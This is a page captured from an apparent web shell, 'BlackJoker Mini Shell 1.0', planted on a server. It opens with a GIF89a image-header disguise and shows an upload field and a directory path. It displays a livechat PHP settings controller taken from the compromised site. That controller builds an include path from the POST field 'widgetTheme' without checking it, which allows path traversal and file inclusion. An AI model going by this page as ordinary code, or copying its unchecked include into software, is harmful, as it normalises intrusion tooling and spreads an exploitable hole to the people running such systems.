GIF89a; Mini Shell

Mini Shell

Direktori : /home/serb/public_html/livechat/php/controller/
Upload File :
Current File : /home/serb/public_html/livechat/php/controller/ConfigController.php

<?php

class ConfigController extends Controller
{
    // Get chat settings
    
    public function getSettingsAction()
    {
        $config = $this->get('config');
        
        return $this->json(array(
        
            'success' => true,
            
            'settings' => $config->data['appSettings']
        ));
    }
    
    // Update chat settings
    
    public function updateSettingsAction()
    {
        $config   = $this->get('config');
        $settings = $this->get('request')->postVars();
        
        // Adjust settings, if the widget theme was changed
        
        if(isset($settings['widgetTheme']))
        {
            if($settings['widgetTheme'] !== $config->data['appSettings']['widgetTheme'])
            {
                $themeConfig = include ROOT_DIR . '/../' . $settings['widgetTheme'] . '/config.php';

                $settings = array_merge($settings, $themeConfig);
            }
        }
        
        // Join new values with the current settings
        
        $config->updateAppSettings($settings);
        
        return $this->json(array('success' => true));
    }
    
    // Reset to defaults
    
    public function resetSettingsAction()
    {
        $config = $this->get('config');
        
        $config->updateAppSettings($config->data['defaultSettings']);
        
        // Send all the settings
        
        return $this->json(array('success' => true, 'settings' => $config->data['appSettings']));
    }
}

?>

./BlackJoker Mini Shell 1.0